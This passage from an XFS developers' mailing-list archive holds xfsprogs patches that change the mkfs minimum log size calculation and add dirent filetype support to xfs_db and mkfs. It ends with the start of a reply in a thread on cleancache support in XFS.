tres.tr_logcount; + + if (xfs_sb_version_haslogv2(&mp->m_sb) && mp->m_sb.sb_logsunit > 1) + lsunit = BTOBB(mp->m_sb.sb_logsunit); + + /* + * Two factors should be taken into account for calculating the minimum + * log space. + * 1) The fundamental limitation is that no single transaction can be + * larger than half size of the log. + * + * From mkfs.xfs, this is considered by the XFS_MIN_LOG_FACTOR + * define, which is set to 3. That means we can definitely fit + * maximally sized 2 transactions in the log. We'll use this same + * value here. + * + * 2) If the lsunit option is specified, a transaction requires 2 LSU + * for the reservation because there are two log writes that can + * require padding - the transaction data and the commit record which + * are written separately and both can require padding to the LSU. + * Consider that we can have an active CIL reservation holding 2*LSU, + * but the CIL is not over a push threshold, in this case, if we + * don't have enough log space for at one new transaction, which + * includes another 2*LSU in the reservation, we will run into dead + * loop situation in log space grant procedure. i.e. + * xlog_grant_head_wait(). + * + * Hence the log size needs to be able to contain two maximally sized + * and padded transactions, which is (2 * (2 * LSU + maxlres)). + * + * Also, the log size should be a multiple of the log stripe unit, round + * it up to lsunit boundary if lsunit is specified. + */ + if (lsunit) + min_logblks = roundup(BTOBB(max_logres), lsunit) + 2 * lsunit; + else + min_logblks = BTOBB(max_logres); + min_logblks *= XFS_MIN_LOG_FACTOR; + return XFS_BB_TO_FSB(mp, min_logblks); +} diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index 59cdcfd..c8cb025 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -27,46 +27,6 @@ #include #include "xfs_mkfs.h" -static void -max_attrsetm_trans_res_adjust( - xfs_mount_t *mp) -{ - int local; - int size; - int nblks; - int res; - - /* - * Determine space the maximal sized attribute will use, - * to calculate the largest reservation size needed. - */ - size = libxfs_attr_leaf_newentsize(MAXNAMELEN, 64 * 1024, - mp->m_sb.sb_blocksize, &local); - ASSERT(!local); - nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); - nblks += XFS_B_TO_FSB(mp, size); - nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); - res = M_RES(mp)->tr_attrsetm.tr_logres + - M_RES(mp)->tr_attrsetrt.tr_logres * nblks; - M_RES(mp)->tr_attrsetm.tr_logres = res; -} - -static int -max_trans_res_by_mount( - struct xfs_mount *mp) -{ - struct xfs_trans_resv *tr = &mp->m_resv; - struct xfs_trans_res *p; - struct xfs_trans_res rval = {0}; - - for (p = (struct xfs_trans_res *)tr; - p < (struct xfs_trans_res *)(tr + 1); p++) { - if (p->tr_logres > rval.tr_logres) - rval = *p; - } - return rval.tr_logres; -} - int max_trans_res( int crcs_enabled, @@ -74,11 +34,12 @@ max_trans_res( int sectorlog, int blocklog, int inodelog, - int dirblocklog) + int dirblocklog, + int log_sunit) { xfs_sb_t *sbp; xfs_mount_t mount; - int maxres, maxfsb; + int maxfsb; memset(&mount, 0, sizeof(mount)); sbp = &mount.m_sb; @@ -93,19 +54,22 @@ max_trans_res( sbp->sb_inodesize = 1 << inodelog; sbp->sb_inopblock = 1 << (blocklog - inodelog); sbp->sb_dirblklog = dirblocklog - blocklog; + + log_sunit = (log_sunit == 0) ? 1 : XFS_FSB_TO_B(&mount, log_sunit); + sbp->sb_logsunit = log_sunit; sbp->sb_versionnum = (crcs_enabled ? XFS_SB_VERSION_5 : XFS_SB_VERSION_4) | - (dirversion == 2 ? XFS_SB_VERSION_DIRV2BIT : 0); + (dirversion == 2 ? XFS_SB_VERSION_DIRV2BIT : 0) | + (log_sunit > 1 ? XFS_SB_VERSION_LOGV2BIT : 0); libxfs_mount(&mount, sbp, 0,0,0,0); - max_attrsetm_trans_res_adjust(&mount); - maxres = max_trans_res_by_mount(&mount); - maxfsb = XFS_B_TO_FSB(&mount, maxres); + maxfsb = xfs_log_calc_minimum_size(&mount); libxfs_umount(&mount); #if 0 - printf("#define\tMAXTRRES_S%d_B%d_I%d_D%d_V%d\t%lld\n", - sectorlog, blocklog, inodelog, dirblocklog, dirversion, maxfsb); + printf("#define\tMAXTRRES_S%d_B%d_I%d_D%d_V%d_LSU%d\t%d\n", + sectorlog, blocklog, inodelog, dirblocklog, dirversion, + log_sunit, maxfsb); #endif return maxfsb; diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index a940150..62e4d27 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2111,50 +2111,6 @@ reported by the device (%u).\n"), sectorsize, xi.rtbsize); } - max_tr_res = max_trans_res(crcs_enabled, dirversion, - sectorlog, blocklog, inodelog, dirblocklog); - ASSERT(max_tr_res); - min_logblocks = max_tr_res * XFS_MIN_LOG_FACTOR; - min_logblocks = MAX(XFS_MIN_LOG_BLOCKS, min_logblocks); - if (!logsize && dblocks >= (1024*1024*1024) >> blocklog) - min_logblocks = MAX(min_logblocks, XFS_MIN_LOG_BYTES>>blocklog); - if (logsize && xi.logBBsize > 0 && logblocks > DTOBT(xi.logBBsize)) { - fprintf(stderr, -_("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), - logsize, (long long)DTOBT(xi.logBBsize)); - usage(); - } else if (!logsize && xi.logBBsize > 0) { - logblocks = DTOBT(xi.logBBsize); - } else if (logsize && !xi.logdev && !loginternal) { - fprintf(stderr, - _("size specified for non-existent log subvolume\n")); - usage(); - } else if (loginternal && logsize && logblocks >= dblocks) { - fprintf(stderr, _("size %lld too large for internal log\n"), - (long long)logblocks); - usage(); - } else if (!loginternal && !xi.logdev) { - logblocks = 0; - } else if (loginternal && !logsize) { - /* - * With a 2GB max log size, default to maximum size - * at 4TB. This keeps the same ratio from the older - * max log size of 128M at 256GB fs size. IOWs, - * the ratio of fs size to log size is 2048:1. - */ - logblocks = (dblocks << blocklog) / 2048; - logblocks = logblocks >> blocklog; - logblocks = MAX(min_logblocks, logblocks); - logblocks = MAX(logblocks, - MAX(XFS_DFL_LOG_SIZE, - max_tr_res * XFS_DFL_LOG_FACTOR)); - logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); - if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { - logblocks = XFS_MAX_LOG_BYTES >> blocklog; - } - } - validate_log_size(logblocks, blocklog, min_logblocks); - if (rtsize && xi.rtsize > 0 && rtblocks > DTOBT(xi.rtsize)) { fprintf(stderr, _("size %s specified for rt subvolume is too large, " @@ -2363,6 +2319,51 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), fprintf(stderr, _("log stripe unit adjusted to 32KiB\n")); } + max_tr_res = max_trans_res(crcs_enabled, dirversion, + sectorlog, blocklog, inodelog, dirblocklog, + lsunit); + ASSERT(max_tr_res); + min_logblocks = max_tr_res * XFS_MIN_LOG_FACTOR; + min_logblocks = MAX(XFS_MIN_LOG_BLOCKS, min_logblocks); + if (!logsize && dblocks >= (1024*1024*1024) >> blocklog) + min_logblocks = MAX(min_logblocks, XFS_MIN_LOG_BYTES>>blocklog); + if (logsize && xi.logBBsize > 0 && logblocks > DTOBT(xi.logBBsize)) { + fprintf(stderr, +_("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), + logsize, (long long)DTOBT(xi.logBBsize)); + usage(); + } else if (!logsize && xi.logBBsize > 0) { + logblocks = DTOBT(xi.logBBsize); + } else if (logsize && !xi.logdev && !loginternal) { + fprintf(stderr, + _("size specified for non-existent log subvolume\n")); + usage(); + } else if (loginternal && logsize && logblocks >= dblocks) { + fprintf(stderr, _("size %lld too large for internal log\n"), + (long long)logblocks); + usage(); + } else if (!loginternal && !xi.logdev) { + logblocks = 0; + } else if (loginternal && !logsize) { + /* + * With a 2GB max log size, default to maximum size + * at 4TB. This keeps the same ratio from the older + * max log size of 128M at 256GB fs size. IOWs, + * the ratio of fs size to log size is 2048:1. + */ + logblocks = (dblocks << blocklog) / 2048; + logblocks = logblocks >> blocklog; + logblocks = MAX(min_logblocks, logblocks); + logblocks = MAX(logblocks, + MAX(XFS_DFL_LOG_SIZE, + max_tr_res * XFS_DFL_LOG_FACTOR)); + logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); + if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { + logblocks = XFS_MAX_LOG_BYTES >> blocklog; + } + } + validate_log_size(logblocks, blocklog, min_logblocks); + protostring = setup_proto(protofile); bsize = 1 << (blocklog - BBSHIFT); mp = &mbuf; @@ -2371,6 +2372,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), sbp->sb_blocklog = (__uint8_t)blocklog; sbp->sb_sectlog = (__uint8_t)sectorlog; sbp->sb_agblklog = (__uint8_t)libxfs_log2_roundup((unsigned int)agsize); + sbp->sb_agblocks = (xfs_agblock_t)agsize; mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; @@ -2382,6 +2384,9 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), if (!logsize) { logblocks = MIN(logblocks, XFS_ALLOC_AG_MAX_USABLE(mp)); + + /* revalidate the log size is valid if we changed it */ + validate_log_size(logblocks, blocklog, min_logblocks); } if (logblocks > agsize - XFS_PREALLOC_BLOCKS(mp)) { fprintf(stderr, @@ -2389,6 +2394,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), (long long)logblocks); usage(); } + if (laflag) { if (logagno >= agcount) { fprintf(stderr, @@ -2457,7 +2463,6 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), sbp->sb_logstart = logstart; sbp->sb_rootino = sbp->sb_rbmino = sbp->sb_rsumino = NULLFSINO; sbp->sb_rextsize = rtextblocks; - sbp->sb_agblocks = (xfs_agblock_t)agsize; sbp->sb_agcount = (xfs_agnumber_t)agcount; sbp->sb_rbmblocks = nbmblocks; sbp->sb_logblocks = (xfs_extlen_t)logblocks; diff --git a/mkfs/xfs_mkfs.h b/mkfs/xfs_mkfs.h index d10e444..37f1667 100644 --- a/mkfs/xfs_mkfs.h +++ b/mkfs/xfs_mkfs.h @@ -54,7 +54,6 @@ #define XFS_MIN_REC_DIRSIZE 12 /* 4096 byte dirblocks (V2) */ #define XFS_DFL_DIR_VERSION 2 /* default directory version */ #define XFS_DFL_LOG_SIZE 1000 /* default log size, blocks */ -#define XFS_MIN_LOG_FACTOR 3 /* min log size factor */ #define XFS_DFL_LOG_FACTOR 16 /* default log size, factor */ /* with max trans reservation */ #define XFS_MAX_INODE_SIG_BITS 32 /* most significant bits in an @@ -82,6 +81,7 @@ extern void res_failed (int err); /* maxtrres.c */ extern int max_trans_res (int crcs_enabled, int dirversion, - int sectorlog, int blocklog, int inodelog, int dirblocklog); + int sectorlog, int blocklog, int inodelog, int dirblocklog, + int log_sunit); #endif /* __XFS_MKFS_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2EC2B809F for ; Fri, 19 Jul 2013 01:46:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F05F8F8033 for ; Thu, 18 Jul 2013 23:46:03 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540014-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id tPKKWapZE2cs1LJm for ; Thu, 18 Jul 2013 23:46:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:16:00 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004J3-Ka for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Mz-IO for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 49/49] xfsprogs: add dtype support to mkfs and db Date: Fri, 19 Jul 2013 16:45:24 +1000 X-ASG-Orig-Subj: [PATCH 49/49] xfsprogs: add dtype support to mkfs and db Message-Id: <1374216324-8781-50-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216360 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have an extra field in the dirent, add support into xfs_db to be able to view it when looking at directory structures. Add support to mkfs to create filesystems with filetype - we'll always set it on CRC enabled filesystems so all new v5 filesystems will have this functionality enabled. Signed-off-by: Dave Chinner --- db/dir2.c | 41 ++++++++++++++++++++++++++++++++++++++++- db/dir2.h | 1 + db/dir2sf.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++++++- db/dir2sf.h | 3 +++ db/field.c | 7 +++++++ db/field.h | 3 +++ db/inode.c | 23 +++++++++++++++++++++-- mkfs/xfs_mkfs.c | 7 +++++++ 8 files changed, 133 insertions(+), 4 deletions(-) diff --git a/db/dir2.c b/db/dir2.c index 39042b3..53fe961 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -596,6 +596,25 @@ dir2_data_union_size( } } +static int +dir3_data_union_ftype_offset( + void *obj, + int startoff, + int idx) +{ + xfs_dir2_data_entry_t *dep; + xfs_dir2_data_unused_t *dup; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(idx == 0); + dup = (xfs_dir2_data_unused_t *)((char *)obj + byteize(startoff)); + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) + return bitize((int)((char *)xfs_dir2_data_unused_tag_p(dup) - + (char *)dup)); + dep = (xfs_dir2_data_entry_t *)dup; + return bitize((int)((char *)&dep->name[dep->namelen] - (char *)dep)); +} + /* * Free block functions */ @@ -859,7 +878,7 @@ const field_t dir3_flds[] = { dir3_block_tail_count, FLD_OFFSET|FLD_COUNT, TYP_NONE }, { "dhdr", FLDT_DIR3_DATA_HDR, OI(D3OFF(hdr)), dir3_data_hdr_count, FLD_COUNT, TYP_NONE }, - { "du", FLDT_DIR2_DATA_UNION, dir2_data_u_offset, dir2_data_u_count, + { "du", FLDT_DIR3_DATA_UNION, dir2_data_u_offset, dir2_data_u_count, FLD_ARRAY|FLD_OFFSET|FLD_COUNT, TYP_NONE }, { "lhdr", FLDT_DIR3_LEAF_HDR, OI(L3OFF(hdr)), dir3_leaf_hdr_count, FLD_COUNT, TYP_NONE }, @@ -880,6 +899,26 @@ const field_t dir3_flds[] = { { NULL } }; +#define D3EOFF(f) bitize(offsetof(xfs_dir2_data_entry_t, f)) +#define D3UOFF(f) bitize(offsetof(xfs_dir2_data_unused_t, f)) +const field_t dir3_data_union_flds[] = { + { "freetag", FLDT_UINT16X, OI(D3UOFF(freetag)), + dir2_data_union_freetag_count, FLD_COUNT, TYP_NONE }, + { "inumber", FLDT_INO, OI(D3EOFF(inumber)), + dir2_data_union_inumber_count, FLD_COUNT, TYP_INODE }, + { "length", FLDT_DIR2_DATA_OFF, OI(D3UOFF(length)), + dir2_data_union_length_count, FLD_COUNT, TYP_NONE }, + { "namelen", FLDT_UINT8D, OI(D3EOFF(namelen)), + dir2_data_union_namelen_count, FLD_COUNT, TYP_NONE }, + { "name", FLDT_CHARNS, OI(D3EOFF(name)), dir2_data_union_name_count, + FLD_COUNT, TYP_NONE }, + { "filetype", FLDT_UINT8D, dir3_data_union_ftype_offset, C1, + FLD_OFFSET, TYP_NONE }, + { "tag", FLDT_DIR2_DATA_OFF, dir2_data_union_tag_offset, + dir2_data_union_tag_count, FLD_OFFSET|FLD_COUNT, TYP_NONE }, + { NULL } +}; + #define DBH3OFF(f) bitize(offsetof(struct xfs_dir3_blk_hdr, f)) const field_t dir3_blkhdr_flds[] = { { "magic", FLDT_UINT32X, OI(DBH3OFF(magic)), C1, 0, TYP_NONE }, diff --git a/db/dir2.h b/db/dir2.h index d9dc27b..b3651d5 100644 --- a/db/dir2.h +++ b/db/dir2.h @@ -48,6 +48,7 @@ extern const field_t dir3_blkhdr_flds[]; extern const field_t dir3_data_hdr_flds[]; extern const field_t dir3_free_hdr_flds[]; extern const field_t dir3_leaf_hdr_flds[]; +extern const field_t dir3_data_union_flds[]; extern const field_t da3_blkinfo_flds[]; extern const field_t da3_node_hdr_flds[]; diff --git a/db/dir2sf.c b/db/dir2sf.c index d628641..5285647 100644 --- a/db/dir2sf.c +++ b/db/dir2sf.c @@ -127,7 +127,6 @@ dir2_sf_entry_name_count( return e->namelen; } -/*ARGSUSED*/ static int dir2_sf_entry_inumber_offset( void *obj, @@ -142,6 +141,35 @@ dir2_sf_entry_inumber_offset( return bitize((int)((char *)xfs_dir2_sf_inumberp(e) - (char *)e)); } +static int +dir3_sf_entry_inumber_offset( + void *obj, + int startoff, + int idx) +{ + xfs_dir2_sf_entry_t *e; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(idx == 0); + e = (xfs_dir2_sf_entry_t *)((char *)obj + byteize(startoff)); + /* plus 1 to skip the ftype entry */ + return bitize((int)((char *)xfs_dir2_sf_inumberp(e) + 1 - (char *)e)); +} + +static int +dir3_sf_entry_ftype_offset( + void *obj, + int startoff, + int idx) +{ + xfs_dir2_sf_entry_t *e; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(idx == 0); + e = (xfs_dir2_sf_entry_t *)((char *)obj + byteize(startoff)); + return bitize((int)((char *)&e->name[e->namelen] - (char *)e)); +} + int dir2_sf_entry_size( void *obj, @@ -224,3 +252,25 @@ dir2sf_size( e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } + +#define OFF(f) bitize(offsetof(struct xfs_dir2_sf_hdr, f)) +const field_t dir3sf_flds[] = { + { "hdr", FLDT_DIR2_SF_HDR, OI(OFF(count)), C1, 0, TYP_NONE }, + { "list", FLDT_DIR3_SF_ENTRY, dir2_sf_list_offset, dir2_sf_list_count, + FLD_ARRAY|FLD_COUNT|FLD_OFFSET, TYP_NONE }, + { NULL } +}; + +#define E3OFF(f) bitize(offsetof(xfs_dir2_sf_entry_t, f)) +const field_t dir3_sf_entry_flds[] = { + { "namelen", FLDT_UINT8D, OI(EOFF(namelen)), C1, 0, TYP_NONE }, + { "offset", FLDT_DIR2_SF_OFF, OI(EOFF(offset)), C1, 0, TYP_NONE }, + { "name", FLDT_CHARNS, OI(EOFF(name)), dir2_sf_entry_name_count, + FLD_COUNT, TYP_NONE }, + { "inumber", FLDT_DIR2_INOU, dir3_sf_entry_inumber_offset, C1, + FLD_OFFSET, TYP_NONE }, + { "filetype", FLDT_UINT8D, dir3_sf_entry_ftype_offset, C1, + FLD_OFFSET, TYP_NONE }, + { NULL } +}; + diff --git a/db/dir2sf.h b/db/dir2sf.h index 66d229c..cabe5b4 100644 --- a/db/dir2sf.h +++ b/db/dir2sf.h @@ -21,6 +21,9 @@ extern const field_t dir2_inou_flds[]; extern const field_t dir2_sf_hdr_flds[]; extern const field_t dir2_sf_entry_flds[]; +extern const field_t dir3sf_flds[]; +extern const field_t dir3_sf_entry_flds[]; + extern int dir2sf_size(void *obj, int startoff, int idx); extern int dir2_inou_size(void *obj, int startoff, int idx); extern int dir2_sf_entry_size(void *obj, int startoff, int idx); diff --git a/db/field.c b/db/field.c index e4f6c7d..c6d7404 100644 --- a/db/field.c +++ b/db/field.c @@ -235,6 +235,13 @@ const ftattr_t ftattrtab[] = { SI(bitsz(struct xfs_dir3_free_hdr)), 0, NULL, dir3_free_hdr_flds }, { FLDT_DIR3_LEAF_HDR, "dir3_leaf_hdr", NULL, (char *)dir3_leaf_hdr_flds, SI(bitsz(struct xfs_dir3_leaf_hdr)), 0, NULL, dir3_leaf_hdr_flds }, + { FLDT_DIR3_DATA_UNION, "dir3_data_union", NULL, + (char *)dir3_data_union_flds, dir2_data_union_size, FTARG_SIZE, NULL, + dir3_data_union_flds }, + { FLDT_DIR3_SF_ENTRY, "dir3_sf_entry", NULL, (char *)dir3_sf_entry_flds, + dir2_sf_entry_size, FTARG_SIZE, NULL, dir3_sf_entry_flds }, + { FLDT_DIR3SF, "dir3sf", NULL, (char *)dir3sf_flds, dir2sf_size, + FTARG_SIZE, NULL, dir3sf_flds }, /* dir v2/3 node fields */ { FLDT_DA_BLKINFO, "dir_blkinfo", NULL, (char *)da_blkinfo_flds, diff --git a/db/field.h b/db/field.h index b97d917..aecdf9f 100644 --- a/db/field.h +++ b/db/field.h @@ -116,6 +116,9 @@ typedef enum fldt { FLDT_DIR3_DATA_HDR, FLDT_DIR3_FREE_HDR, FLDT_DIR3_LEAF_HDR, + FLDT_DIR3_DATA_UNION, + FLDT_DIR3_SF_ENTRY, + FLDT_DIR3SF, /* dir v2/3 node fields */ FLDT_DA_BLKINFO, diff --git a/db/inode.c b/db/inode.c index 68ef564..7038c18 100644 --- a/db/inode.c +++ b/db/inode.c @@ -47,6 +47,7 @@ static int inode_u_c_count(void *obj, int startoff); static int inode_u_dev_count(void *obj, int startoff); static int inode_u_muuid_count(void *obj, int startoff); static int inode_u_sfdir2_count(void *obj, int startoff); +static int inode_u_sfdir3_count(void *obj, int startoff); static int inode_u_symlink_count(void *obj, int startoff); static const cmdinfo_t inode_cmd = @@ -78,7 +79,7 @@ const field_t inode_crc_flds[] = { { "next_unlinked", FLDT_AGINO, OI(OFF(next_unlinked)), C1, 0, TYP_INODE }, { "v3", FLDT_DINODE_V3, OI(OFF(magic)), C1, 0, TYP_NONE }, - { "u", FLDT_DINODE_U, inode_u_offset, C1, FLD_OFFSET, TYP_NONE }, + { "u3", FLDT_DINODE_U, inode_u_offset, C1, FLD_OFFSET, TYP_NONE }, { "a", FLDT_DINODE_A, inode_a_offset, inode_a_count, FLD_COUNT|FLD_OFFSET, TYP_NONE }, { NULL } @@ -193,6 +194,7 @@ const field_t inode_u_flds[] = { { "dev", FLDT_DEV, NULL, inode_u_dev_count, FLD_COUNT, TYP_NONE }, { "muuid", FLDT_UUID, NULL, inode_u_muuid_count, FLD_COUNT, TYP_NONE }, { "sfdir2", FLDT_DIR2SF, NULL, inode_u_sfdir2_count, FLD_COUNT, TYP_NONE }, + { "sfdir3", FLDT_DIR3SF, NULL, inode_u_sfdir3_count, FLD_COUNT, TYP_NONE }, { "symlink", FLDT_CHARNS, NULL, inode_u_symlink_count, FLD_COUNT, TYP_NONE }, { NULL } @@ -556,7 +558,24 @@ inode_u_sfdir2_count( ASSERT((char *)XFS_DFORK_DPTR(dip) - (char *)dip == byteize(startoff)); return dip->di_format == XFS_DINODE_FMT_LOCAL && (be16_to_cpu(dip->di_mode) & S_IFMT) == S_IFDIR && - xfs_sb_version_hasdirv2(&mp->m_sb); + xfs_sb_version_hasdirv2(&mp->m_sb) && + !xfs_sb_version_hasftype(&mp->m_sb); +} + +static int +inode_u_sfdir3_count( + void *obj, + int startoff) +{ + xfs_dinode_t *dip; + + ASSERT(bitoffs(startoff) == 0); + ASSERT(obj == iocur_top->data); + dip = obj; + ASSERT((char *)XFS_DFORK_DPTR(dip) - (char *)dip == byteize(startoff)); + return dip->di_format == XFS_DINODE_FMT_LOCAL && + (be16_to_cpu(dip->di_mode) & S_IFMT) == S_IFDIR && + xfs_sb_version_hasftype(&mp->m_sb); } int diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 62e4d27..2a172cc 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2513,6 +2513,13 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), lsectorsize != BBSIZE), nci, sbp->sb_features2 != 0); /* + * dirent filetype field always enabled on v5 superblocks + */ + if (crcs_enabled) { + sbp->sb_features_incompat = XFS_SB_FEAT_INCOMPAT_FTYPE; + } + + /* * Due to a structure alignment issue, sb_features2 ended up in one * of two locations, the second "incorrect" location represented by * the sb_bad_features2 field. To avoid older kernels mounting -- 1.8.3.2 From james.dingwall@zynstra.com Fri Jul 19 02:18:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 187108166 for ; Fri, 19 Jul 2013 02:18:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 08B488F8035 for ; Fri, 19 Jul 2013 00:18:22 -0700 (PDT) X-ASG-Debug-ID: 1374218299-04cb6c2a47ed90f0001-NocioJ Received: from emea01-am1-obe.outbound.protection.outlook.com (mail-am1lp0018.outbound.protection.outlook.com [213.199.154.18]) by cuda.sgi.com with ESMTP id h4MrrohDHhh8Ha5Y (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Fri, 19 Jul 2013 00:18:20 -0700 (PDT) X-Barracuda-Envelope-From: james.dingwall@zynstra.com X-Barracuda-Apparent-Source-IP: 213.199.154.18 Received: from DBXPRD0711HT004.eurprd07.prod.outlook.com (157.56.254.181) by AMXPR03MB103.eurprd03.prod.outlook.com (10.242.87.26) with Microsoft SMTP Server (TLS) id 15.0.731.16; Fri, 19 Jul 2013 07:18:18 +0000 Message-ID: <51E8E834.6080509@zynstra.com> Date: Fri, 19 Jul 2013 08:18:12 +0100 From: James Dingwall User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 SeaMonkey/2.19 MIME-Version: 1.0 To: Konrad Rzeszutek Wilk CC: Dave Chinner , Ben Myers , Subject: Re: Cleancache support in XFS References: <51810CED.4080003@zynstra.com> <20130501162044.GN29359@sgi.com> <20130501223022.GQ10481@dastard> <518222D3.3080109@zynstra.com> <20130522192834.GD10617@phenom.dumpdata.com> <519F1708.10603@zynstra.com> <20130607170826.GA6925@phenom.dumpdata.com> X-ASG-Orig-Subj: Re: Cleancache support in XFS In-Reply-To: <20130607170826.GA6925@phenom.dumpdata.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [157.56.254.181] X-ClientProxiedBy: DBXPR03CA009.eurprd03.prod.outlook.com (10.255.191.147) To AMXPR03MB103.eurprd03.prod.outlook.com (10.242.87.26) X-Forefront-PRVS: 0912297777 X-Forefront-Antispam-Report: SFV:NSPM;SFS:(199002)(189002)(52544002)(51704005)(24454002)(54316002)(47976001)(49866001)(81542001)(76786001)(56816003)(66066001)(80022001)(51856001)(83072001)(74502001)(74876001)(16406001)(31966008)(15202345003)(80316001)(77096001)(74366001)(83322001)(74662001)(53806001)(23756003)(50986001)(56776001)(76796001)(81342001)(64126003)(54356001)(76482001)(63696002)(79102001)(74706001)(36756003)(50466002)(33656001)(59766001)(77982001)(47446002)(46102001)(59896001)(47776003)(4396001)(47736001)(19580395003)(69226001)(19580385001)(42186004);DIR:OUT;SFP:;SCL:1;SRVR:AMXPR03MB103;H:DBXPRD0711HT004.eurprd07.prod.outlook.com;CLIP:157.56.254.181;RD:InfoNoRecords;A:1;MX:1;LANG:en; X-OriginatorOrg: zynstra.com X-Barracuda-Connect: mail-am1lp0018.outbound.protection.outlook.com[213.199.154.18] X-Barracuda-Start-Time: 1374218300 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137195 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Konrad Rzeszutek Wilk wrote: > On Fri, May 24, 2013 at 08:30:16AM +0100, James Dingwall wrote: >> Konrad Rzeszutek Wilk wrote: >>> On Thu, May 02, 2013 at 09:24:51AM +0100, James Dingwall wrote: >>>> Dave Chinner wrote: >>>>> On Wed, May 01, 2013 at 11:20:44AM -0500, Ben Myers wrote: >>>>>> Hi James, >>> Hey folks, >>> I am walking through my vacation-emails-mbox. >>> >>>>>> On Wed, May 01, 2013 at 01:39:09PM 